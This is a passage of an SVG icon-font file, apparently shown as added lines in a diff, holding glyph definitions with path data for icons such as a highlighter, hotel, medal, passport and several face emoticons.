48s21.4902 48 48 48h32c26.5098 0 48 -21.4902 48 -48h101.72 +c23.3506 0 42.2803 18.9297 42.2803 42.2803c0 0 -0.0400391 163.29 -0.120117 165.72h0.120117c0 114.69 -93.3096 208 -208 208s-208 -93.3096 -208 -208v-16c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v16c4.58008 137.17 113.18 256 256 256z +" /> + <glyph glyph-name="highlighter" unicode="" horiz-adv-x="544" +d="M0 -31.9805l68.3301 70.4707l67.04 -67.04l-35.4502 -35.4502zM124.61 208.03l41.5195 35.4395l173.34 -173.34l-35.5498 -41.6396c-9.5 -10.7705 -24.4199 -14.9805 -38.1504 -10.7803l-42.7393 13.0801l-50.8604 -50.8604l-96.2295 96.2305l50.9297 50.9395 +l-13.0498 42.8301c-1.02832 3.37598 -1.60645 6.94922 -1.60645 10.6592c0 10.9229 4.79688 20.7344 12.3965 27.4414zM527.92 368.73c20.5 -20.5 21.5303 -53.3906 2.34961 -75.1309l-169.949 -199.06l-169.771 169.78l199.05 169.96 +c21.7402 19.1699 54.6309 18.1396 75.1201 -2.35059z" /> + <glyph glyph-name="hot-tub" unicode="" +d="M414.21 270.35c-3.15039 25.3906 -14.6104 47.9707 -31.9697 62.1406c-27.7305 22.6299 -45.79 58.0498 -50.1299 97.1602c-1.09082 9.7793 6.48926 18.3496 16 18.3496h16.1201c7.98926 0 14.7295 -6.13965 15.7393 -14.3398 +c3.16016 -25.4004 14.6104 -47.9805 31.9805 -62.1504c27.7295 -22.6299 45.79 -58.0498 50.1299 -97.1602c1.08008 -9.7793 -6.49023 -18.3496 -16 -18.3496h-16.1201c-8 0 -14.7295 6.13965 -15.75 14.3496zM306.21 270.35 +c-3.15039 25.3906 -14.6104 47.9707 -31.9697 62.1406c-27.7305 22.6299 -45.79 58.0498 -50.1299 97.1602c-1.09082 9.7793 6.48926 18.3496 16 18.3496h16.1201c7.98926 0 14.7295 -6.13965 15.7393 -14.3398c3.16016 -25.4004 14.6104 -47.9805 31.9805 -62.1504 +c27.7295 -22.6299 45.79 -58.0498 50.1299 -97.1602c1.08008 -9.7793 -6.49023 -18.3496 -16 -18.3496h-16.1201c-8 0 -14.7295 6.13965 -15.75 14.3496zM480 192c17.6699 0 32 -14.3301 32 -32v-160c0 -35.3496 -28.6504 -64 -64 -64h-384c-35.3496 0 -64 28.6504 -64 64 +v224c0 35.3496 28.6504 64 64 64h42.6699c14.3779 0 27.7109 -4.78223 38.4004 -12.7998l110.93 -83.2002h224zM128 8v112c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-112c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8zM224 8v112 +c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-112c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8zM320 8v112c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-112c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8zM416 8 +v112c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-112c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8zM64 320c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64s64 -28.6504 64 -64s-28.6504 -64 -64 -64z" /> + <glyph glyph-name="hotel" unicode="" horiz-adv-x="576" +d="M560 384h-16v-384h16c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-240v80c0 8.7998 -7.2002 16 -16 16h-32c-8.7998 0 -16 -7.2002 -16 -16v-80h-240c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h15.9805v384h-15.9805 +c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h544c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16zM256 339.2v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998v38.4004 +c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998zM256 243.2v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998v38.4004 +c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998zM128 339.2v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998v38.4004 +c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998zM179.2 192c6.39941 0 12.7998 6.40039 12.7998 12.7998v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004 +c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004zM192 64h192c0 53.0195 -42.9805 96 -96 96s-96 -42.9805 -96 -96zM448 204.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004 +c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998zM448 300.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-38.4004 +c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h38.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998z" /> + <glyph glyph-name="joint" unicode="" horiz-adv-x="640" +d="M444.34 266.9c-35.7803 25.0693 -60.3398 63.0098 -60.3398 106.699v66.4004c0 4.41992 3.58008 8 8 8h48c4.41992 0 8 -3.58008 8 -8v-62.3096c0 -29.0303 15.8496 -54.71 39.6602 -71.3203c35.3301 -24.6504 56.3398 -64.8203 56.3398 -108.061v-30.3096 +c0 -4.41992 -3.58008 -8 -8 -8h-48c-4.41992 0 -8 3.58008 -8 8v30.3096c0 27.4307 -13.2803 52.9102 -35.6602 68.5908zM194.97 89.0195c22.3701 3.60059 45.0801 -4.30957 59.8203 -21.5098l112.72 -131.51h-88.5693c-98.6406 0 -195.29 27.7197 -278.94 80 +c59.6904 37.3096 126.03 61.9297 194.97 73.0195zM553.28 360.91c54.3096 -36.4102 86.7197 -97.1602 86.7197 -162.601v-30.3096c0 -4.41992 -3.58008 -8 -8 -8h-48c-4.41992 0 -8 3.58008 -8 8v30.3096c0 50.1504 -25.21 96.6504 -67.3604 123.99 +c-18.4697 11.9805 -28.6396 33.3701 -28.6396 55.3906v62.3096c0 4.41992 3.58008 8 8 8h48c4.41992 0 8 -3.58008 8 -8v-62.3096c0 -6.82031 3.61035 -12.9805 9.28027 -16.7803zM360.89 95.9502c0.0371094 0 0.0556641 0.0351562 0.0927734 0.0351562 +c19.4336 0 36.8535 -8.68652 48.5879 -22.3857l117.949 -137.6h-88.4492c-19.4385 0 -36.8506 8.65137 -48.5898 22.3496l-117.801 137.431c1.40039 0.0195312 53.8105 0.109375 88.21 0.169922zM616 96c13.25 0 24 -10.7402 24 -24v-112c0 -13.25 -10.75 -24 -24 -24 +h-17.4199c-19.4375 0 -36.8506 8.65137 -48.5898 22.3496l-117.99 137.65h184z" /> + <glyph glyph-name="kiss" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM168 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM304 52c0 13 -13.4004 27.2998 -35.2002 36.4004 +c21.7998 8.69922 35.2002 23 35.2002 36c0 19.1992 -28.7002 41.5 -71.5 44c-8.40039 1.09961 -12.2002 -11.8008 -3.59961 -15.4004l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.2002c-6.10059 -2.59961 -6 -12.2998 0 -14.7998 +l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.19922c-8.5 -3.60059 -4.90039 -16.2002 3.59961 -15.4004c42.7998 2.5 71.5 24.7998 71.5 44zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32 +s14.2998 -32 32 -32z" /> + <glyph glyph-name="kiss-beam" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM209 220.1c4.2002 -7.5 15.5996 -4 15.0996 4.5c-3.2998 42.1006 -32.1992 71.4004 -56 71.4004c-23.7998 0 -52.6992 -29.2998 -56 -71.4004 +c-0.699219 -8.5 10.7002 -11.8994 14.9004 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006s23.7998 -7.90039 31.5 -21.6006zM304 52c0 13 -13.4004 27.2998 -35.2002 36.4004c21.7998 8.69922 35.2002 23 35.2002 36c0 19.1992 -28.7002 41.5 -71.5 44 +c-8.40039 1.09961 -12.2002 -11.8008 -3.59961 -15.4004l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.2002c-6.10059 -2.59961 -6 -12.2998 0 -14.7998l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5 +l-17 -7.19922c-8.5 -3.60059 -4.90039 -16.2002 3.59961 -15.4004c42.7998 2.5 71.5 24.7998 71.5 44zM369 220.1c4.2002 -7.5 15.5996 -4 15.0996 4.5c-3.2998 42.1006 -32.1992 71.4004 -56 71.4004c-23.7998 0 -52.6992 -29.2998 -56 -71.4004 +c-0.699219 -8.5 10.8008 -11.7998 14.9004 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006s23.7998 -7.90039 31.5 -21.6006z" /> + <glyph glyph-name="kiss-wink-heart" unicode="" horiz-adv-x="504" +d="M501.1 45.5c9.2002 -23.9004 -4.39941 -49.4004 -28.5 -55.7002l-83 -21.5c-5.39941 -1.39941 -10.8994 1.7998 -12.3994 7.10059l-22.9004 82.5996c-6.59961 24 8.7998 48.5996 34 52.5996c22 3.5 43.1006 -11.5996 49 -33l2.2998 -8.39941l8.40039 2.2002 +c21.5996 5.59961 45.0996 -5.10059 53.0996 -25.9004zM323.5 49.5c0 0 23.5996 -83.9004 23.9004 -84.5996c-30.5 -13.4004 -64 -20.9004 -99.4004 -20.9004c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248c0 -31.7998 -6.2002 -62.0996 -17.0996 -90 +c-6 1.5 -12.2002 2.7998 -18.6006 2.90039c-29.0996 49.7998 -98.0996 50.5996 -127.8 4.2998c-11.2998 -17.7002 -14.5996 -39.4004 -9 -59.7002zM168 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM288 52 +c0 13 -13.4004 27.2998 -35.2002 36.4004c21.7998 8.69922 35.2002 23 35.2002 36c0 19.1992 -28.7002 41.5 -71.5 44c-8.2002 1.19922 -12.4004 -11.7002 -3.59961 -15.4004l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.2002 +c-5.7002 -2.5 -6 -12.2998 0 -14.7998l17 -7.2002c13 -5.5 20.7998 -13.5 20.7998 -21.5s-7.7998 -16 -20.7998 -21.5l-17 -7.19922c-8.5 -3.60059 -4.90039 -16.2002 3.59961 -15.4004c42.7998 2.5 71.5 24.7998 71.5 44zM304 231l9.7002 8.5 +c14.7998 13.2002 46.2002 13.2002 61 0l9.5 -8.5c8.5 -7.5 21.5 -0.299805 19.7998 10.7998c-4 25.2002 -34.2002 42.1006 -59.9004 42.1006c-25.6992 0 -55.8994 -16.9004 -59.8994 -42.1006c-1.7998 -11.2002 11.5 -18.2002 19.7998 -10.7998z" /> + <glyph glyph-name="laugh" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 288c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM168 288c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32 +s32 14.2998 32 32s-14.2998 32 -32 32zM256 16c73.4004 0 134 55 142.9 126c1.19922 9.59961 -6.30078 18 -15.9004 18h-270c-9.59961 0 -17.0996 -8.5 -15.9004 -18c8.90039 -71 69.5 -126 142.9 -126h16z" /> + <glyph glyph-name="laugh-beam" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM272 240.6c-0.700195 -8.59961 10.9004 -11.8994 15.0996 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17 +c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004s-52.7002 -29.2998 -56 -71.4004zM112 240.6c-0.700195 -8.5 10.7998 -11.8994 15.0996 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006 +c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004s-52.7002 -29.2998 -56 -71.4004zM398.9 142c1.19922 9.59961 -6.30078 18 -15.9004 18h-270 +c-9.59961 0 -17.0996 -8.5 -15.9004 -18c8.90039 -71 69.5 -126 142.9 -126h16c73.4004 0 134 55 142.9 126z" /> + <glyph glyph-name="laugh-squint" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM281.8 278.3c-7.7002 -4.7002 -7.7002 -15.8994 0 -20.5996l80 -48c11.5 -6.7998 24.1006 7.59961 15.4004 18l-33.6006 40.2998l33.6006 40.2998 +c8.59961 10.2998 -3.7998 24.9004 -15.4004 18zM118.8 308.3l33.6006 -40.2998l-33.6006 -40.2998c-8.59961 -10.4004 3.90039 -24.7998 15.4004 -18l80 48c7.7998 4.7002 7.7998 15.8994 0 20.5996l-80 48c-11.6006 6.90039 -24 -7.7002 -15.4004 -18zM398.9 142 +c1.19922 9.59961 -6.30078 18 -15.9004 18h-270c-9.59961 0 -17.0996 -8.5 -15.9004 -18c8.90039 -71 69.5 -126 142.9 -126h16c73.4004 0 134 55 142.9 126z" /> + <glyph glyph-name="laugh-wink" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM268.1 241.9c-1.69922 -11.2002 11.5 -18.3008 19.9004 -10.9004l9.59961 8.59961c14.8008 13.2002 46.2002 13.2002 61 0l9.5 -8.5 +c8.40039 -7.5 21.5 -0.299805 19.8008 10.8008c-4 25.1992 -34.2002 42.0996 -59.9004 42.0996s-55.9004 -16.9004 -59.9004 -42.0996zM168 288c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM398.9 142 +c1.19922 9.59961 -6.30078 18 -15.9004 18h-270c-9.59961 0 -17.0996 -8.5 -15.9004 -18c8.90039 -71 69.5 -126 142.9 -126h16c73.4004 0 134 55 142.9 126z" /> + <glyph glyph-name="luggage-cart" unicode="" horiz-adv-x="640" +d="M224 128c-17.6699 0 -32 14.3301 -32 32v160c0 17.6699 14.3301 32 32 32h32v-224h-32zM576 160c0 -17.6699 -14.3301 -32 -32 -32h-32v224h32c17.6699 0 32 -14.3301 32 -32v-160zM624 64c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-82.9404 +c1.79004 -5.03027 2.94043 -10.3604 2.94043 -16c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48c0 5.63965 1.15039 10.9697 2.94043 16h-197.881c1.79004 -5.03027 2.94043 -10.3604 2.94043 -16c0 -26.5098 -21.4902 -48 -48 -48s-48 21.4902 -48 48 +c0 5.63965 1.15039 10.9697 2.94043 16h-82.9404c-8.83984 0 -16 7.16016 -16 16v368h-48c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h96c8.83984 0 16 -7.16016 16 -16v-368h496zM480 352v-224h-192v272c0 26.5098 21.4902 48 48 48h96 +c26.5098 0 48 -21.4902 48 -48v-48zM432 352v48h-96v-48h96z" /> + <glyph glyph-name="map-marked" unicode="" horiz-adv-x="576" +d="M288 448c69.5898 0 126 -56.4102 126 -126c0 -56.2598 -82.3496 -158.8 -113.9 -196.02c-6.37988 -7.54004 -17.8096 -7.54004 -24.1992 0c-31.5508 37.2197 -113.9 139.76 -113.9 196.02c0 69.5898 56.4102 126 126 126zM20.1201 232.05l118.63 47.4502 +c5.17969 -14.8799 12.4102 -30.4404 21.25 -46.4199v-233.08l-138.06 -62.8398c-10.5107 -4.2002 -21.9404 3.54004 -21.9404 14.8594v250.32c0.00292969 13.4697 8.32617 24.9932 20.1201 29.71zM288 88.3301c14.0703 0 27.3799 6.17969 36.5098 16.9502 +c19.6699 23.2002 40.5703 49.6299 59.4902 76.7197v-245.99l-192 64v182c18.9199 -27.0996 39.8301 -53.5195 59.4902 -76.7197c9.12988 -10.7803 22.4395 -16.96 36.5098 -16.96zM554.06 286.84c10.5107 4.2002 21.9404 -3.54004 21.9404 -14.8594v-250.32 +c0 -13.4707 -8.32422 -24.9951 -20.1201 -29.71l-139.88 -55.9502v288z" /> + <glyph glyph-name="map-marked-alt" unicode="" horiz-adv-x="576" +d="M288 448c69.5898 0 126 -56.4102 126 -126c0 -56.2598 -82.3496 -158.8 -113.9 -196.02c-6.37988 -7.54004 -17.8096 -7.54004 -24.1992 0c-31.5508 37.2197 -113.9 139.76 -113.9 196.02c0 69.5898 56.4102 126 126 126zM288 280c23.2002 0 42 18.7998 42 42 +s-18.7998 42 -42 42s-42 -18.7998 -42 -42s18.7998 -42 42 -42zM20.1201 232.05l118.63 47.4502c5.17969 -14.8799 12.4102 -30.4404 21.25 -46.4199v-233.08l-138.06 -62.8398c-10.5107 -4.2002 -21.9404 3.54004 -21.9404 14.8594v250.32 +c0.00292969 13.4697 8.32617 24.9932 20.1201 29.71zM288 88.3301c14.0703 0 27.3799 6.17969 36.5098 16.9502c19.6699 23.2002 40.5703 49.6299 59.4902 76.7197v-245.99l-192 64v182c18.9199 -27.0996 39.8301 -53.5195 59.4902 -76.7197 +c9.12988 -10.7803 22.4395 -16.96 36.5098 -16.96zM554.06 286.84c10.5107 4.2002 21.9404 -3.54004 21.9404 -14.8594v-250.32c0 -13.4707 -8.32422 -24.9951 -20.1201 -29.71l-139.88 -55.9502v288z" /> + <glyph glyph-name="marker" unicode="" +d="M93.9502 157.97l75.3994 75.4004l128.021 -128.021l-75.4004 -75.3994c-51.1611 -51.1592 -119.559 -85.4326 -195.34 -93.7998c-15.2803 -1.69043 -28.1895 11.2295 -26.4902 26.5098l0.0302734 0.229492c8.42188 75.6777 42.6777 143.978 93.7803 195.08z +M485.49 421.49c35.3496 -35.3604 35.3496 -92.6699 0 -128.021l-165.49 -165.489l-128.02 128.02l98.4795 98.4697l-19.5898 19.5898l-87.1504 -87.1494c-6.25 -6.25 -16.3799 -6.25 -22.6299 0l-22.6201 22.6201c-6.25 6.25 -6.25 16.3799 0 22.6299l104.12 104.12 +c15.6104 15.6201 40.9404 15.6201 56.5605 0l36.5596 -36.5498l21.7598 21.7598c35.3506 35.3496 92.6699 35.3496 128.021 0z" /> + <glyph glyph-name="medal" unicode="" +d="M223.75 317.25c-42.04 -6.55957 -79.8398 -25.6201 -109.56 -53.3896l-111.271 158.96c-7.41992 10.6094 0.160156 25.1797 13.1104 25.1797h111.149c11.6572 0 21.8467 -6.21387 27.4404 -15.54zM495.97 448c12.9502 0 20.5303 -14.5703 13.1104 -25.1797 +l-111.271 -158.95c-29.7197 27.7598 -67.5195 46.8203 -109.56 53.3799l69.1299 115.21c5.78027 9.63965 16.2002 15.54 27.4404 15.54h111.149zM256 288c97.2002 0 176 -78.7998 176 -176s-78.7998 -176 -176 -176s-176 78.7998 -176 176s78.7998 176 176 176z +M348.52 130.74c6.82031 6.63965 3.05078 18.2295 -6.34961 19.5898l-52.4297 7.63965l-23.4307 47.5205c-2.10938 4.25 -6.21973 6.38965 -10.3291 6.38965c-4.09082 0 -8.1709 -2.11035 -10.2803 -6.38965l-23.4307 -47.5205l-52.4297 -7.63965 +c-9.39941 -1.36035 -13.1699 -12.9502 -6.34961 -19.5898l37.9297 -36.96l-8.96973 -52.2207c-1.60059 -9.34961 8.25 -16.54 16.6494 -12.0898l46.9004 24.6504l46.9102 -24.6504c8.38965 -4.41992 18.25 2.73047 16.6494 12.0898l-8.96973 52.2207z" /> + <glyph glyph-name="meh-blank" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM168 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32 +s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="meh-rolling-eyes" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM88 224c0 -35.2998 28.7002 -64 64 -64s64 28.7002 64 64c0 24.2998 -13.7002 45.2002 -33.5996 56c0.699219 -2.59961 1.59961 -5.2002 1.59961 -8 +c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32c0 2.7998 0.900391 5.40039 1.59961 8c-19.8994 -10.7998 -33.5996 -31.7002 -33.5996 -56zM312 48c21.2002 0 21.2002 32 0 32h-128c-21.2002 0 -21.2002 -32 0 -32h128zM344 160c35.2998 0 64 28.7002 64 64 +c0 24.2998 -13.7002 45.2002 -33.5996 56c0.699219 -2.59961 1.59961 -5.2002 1.59961 -8c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32c0 2.7998 0.900391 5.40039 1.59961 8c-19.8994 -10.7998 -33.5996 -31.7002 -33.5996 -56c0 -35.2998 28.7002 -64 64 -64z +" /> + <glyph glyph-name="monument" unicode="" horiz-adv-x="384" +d="M368 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-352c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h352zM289.14 347.26l30.8604 -315.26h-256l30.8701 315.26c0.751953 7.54688 4.12988 14.3613 9.20996 19.4404 +l76.5996 76.6094c6.25 6.25 16.3799 6.25 22.6299 0l76.6201 -76.6094c5.08008 -5.0791 8.45801 -11.8936 9.20996 -19.4404zM240 140.8v38.4004c0 6.39941 -6.40039 12.7998 -12.7998 12.7998h-70.4004c-6.39941 0 -12.7998 -6.40039 -12.7998 -12.7998v-38.4004 +c0 -6.39941 6.40039 -12.7998 12.7998 -12.7998h70.4004c6.39941 0 12.7998 6.40039 12.7998 12.7998z" /> + <glyph glyph-name="mortar-pestle" unicode="" +d="M501.54 387.09l-99.0801 -99.0898h-151.37l203.811 152.86c5.96094 4.46875 13.4297 7.11426 21.4473 7.11426c5.71973 0 11.1279 -1.34863 15.9219 -3.74414c21.7803 -10.8906 26.4902 -39.9209 9.27051 -57.1406zM496 256c8.83984 0 16 -7.16016 16 -16v-32 +c0 -8.83984 -7.16016 -16 -16 -16h-16c0 -80.9805 -50.2002 -150.11 -121.13 -178.32c12.7695 -16.8701 21.7295 -36.7998 24.9502 -58.6895c1.45996 -9.91992 -6.04004 -18.9805 -16.0703 -18.9805h-223.5c-10.0303 0 -17.5303 9.06055 -16.0703 18.9805 +c3.23047 21.8896 12.1904 41.8193 24.9502 58.6895c-70.9297 28.21 -121.13 97.3398 -121.13 178.32h-16c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h480z" /> + <glyph glyph-name="paint-roller" unicode="" +d="M416 320c0 -17.6699 -14.3301 -32 -32 -32h-352c-17.6699 0 -32 14.3301 -32 32v96c0 17.6699 14.3301 32 32 32h352c17.6699 0 32 -14.3301 32 -32v-96zM448 384c35.3496 0 64 -28.6504 64 -64v-64c0 -53.0195 -42.9805 -96 -96 -96h-160v-32 +c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32v32c0 35.3496 28.6504 64 64 64h160c17.6699 0 32 14.3301 32 32v128z" /> + <glyph glyph-name="passport" unicode="" horiz-adv-x="448" +d="M129.62 272c5.28027 31.2197 25.5898 57.1699 53.2998 70.4102c-7.66992 -19.0605 -12.7197 -43.3799 -14.21 -70.4102h-39.0898zM129.62 240h39.0898c1.49023 -27.0303 6.53027 -51.3496 14.21 -70.4102c-27.71 13.2402 -48.0098 39.1904 -53.2998 70.4102zM224 161.31 +c-7.69043 7.4502 -20.7695 34.4307 -23.4404 78.6904h46.8701c-2.66016 -44.2695 -15.7393 -71.2402 -23.4297 -78.6904zM200.57 272c2.66016 44.2598 15.7393 71.2402 23.4395 78.6904c7.69043 -7.4502 20.7705 -34.4307 23.4307 -78.6904h-46.8701zM265.08 169.59 +c7.67969 19.0605 12.7197 43.3799 14.21 70.4102h39.0898c-5.28027 -31.2197 -25.5898 -57.1699 -53.2998 -70.4102zM416 448c17.6699 0 32 -14.3301 32 -32v-448c0 -17.6699 -14.3301 -32 -32 -32h-352c-35.3496 0 -64 28.6504 -64 64v384c0 35.3496 28.6504 64 64 64h352z +M336 32c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16h-224c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16h224zM224 128c70.6904 0 128 57.3096 128 128s-57.3096 128 -128 128s-128 -57.3096 -128 -128s57.3096 -128 128 -128zM265.08 342.41 +c27.71 -13.2402 48.0195 -39.1904 53.2998 -70.4102h-39.0898c-1.49023 27.0303 -6.53027 51.3496 -14.21 70.4102z" /> + <glyph glyph-name="pen-fancy" unicode="" +d="M79.1797 165.06l84.0703 33.0703l98.8799 -98.8799l-33.0703 -84.0703c-3.1748 -9.5332 -10.7061 -17.0645 -20.2393 -20.2393l-176.82 -58.9404l-4.67969 4.67969l92.8896 92.8906c2.55957 -0.660156 5.03027 -1.57031 7.7998 -1.57031c17.6699 0 32 14.3301 32 32 +s-14.3301 32 -32 32s-32 -14.3301 -32 -32c0 -2.76953 0.910156 -5.24023 1.57031 -7.7998l-92.8896 -92.8906l-4.69043 4.69043l58.9404 176.82c3.17773 9.53223 10.707 17.0615 20.2393 20.2393zM369.25 419.68c74.4805 84.2607 199.15 -39.1602 114.23 -114.229 +l-199.49 -183.11l-97.8506 97.8506z" /> + <glyph glyph-name="pen-nib" unicode="" +d="M136.6 309.21l151.4 42.79l128 -128l-42.79 -151.4c-5.76172 -20.3838 -21.3594 -36.6455 -41.3496 -43.3096l-279.86 -93.29l-14.6904 14.6904l150.11 150.109c6.25977 -2.99023 13.1797 -4.7998 20.5801 -4.7998c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48 +s-48 -21.4902 -48 -48c0 -7.40039 1.80957 -14.3203 4.7998 -20.5801l-150.109 -150.11l-14.6904 14.6904l93.29 279.86c6.66406 19.9902 22.9258 35.5879 43.3096 41.3496zM497.94 373.83c18.75 -18.7598 18.75 -49.1602 0 -67.9102l-56.5508 -56.5498l-128.02 128.02 +l56.5498 56.5508c18.75 18.75 49.1602 18.75 67.9102 0z" /> + <glyph glyph-name="pencil-ruler" unicode="" +d="M109.46 203.96l-100.17 100.18c-12.3896 12.3906 -12.3799 32.4707 0 44.8604l89.71 89.71c12.3896 12.3896 32.4697 12.3896 44.8604 0l33.6396 -33.6504l-61.6797 -61.6797c-3.10059 -3.08984 -3.10059 -8.11035 0 -11.21l11.21 -11.21 +c1.43359 -1.43652 3.41797 -2.32617 5.60547 -2.32617c2.18848 0 4.16992 0.889648 5.60449 2.32617l61.6797 61.6797l44.1201 -44.1201zM497.93 320.76l-46.0195 -46.0293l-113.2 113.199l46.0205 46.0107c18.7695 18.7598 49.1895 18.7598 67.9492 0l45.25 -45.25 +c18.75 -18.7607 18.7607 -49.1709 0 -67.9307zM316.08 365.29l113.2 -113.19l-296.92 -296.93l-107.45 -18.8398c-14.5 -2.5498 -27.1201 10.0703 -24.5898 24.5596l18.7598 107.44zM502.71 79.8604c12.3896 -12.3906 12.3896 -32.4707 0 -44.8604l-89.71 -89.7002 +c-12.3896 -12.3896 -32.4697 -12.3896 -44.8604 0l-100.21 100.2l134.58 134.56l44.1406 -44.1396l-61.6807 -61.6797c-3.08984 -3.08984 -3.08984 -8.11035 0 -11.21l11.21 -11.21c3.08984 -3.10059 8.11035 -3.10059 11.21 0l61.6807 61.6797z" /> + <glyph glyph-name="plane-arrival" unicode="" horiz-adv-x="640" +d="M624 0c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-608c-8.83984 0 -16 7.16016 -16 16v32c0 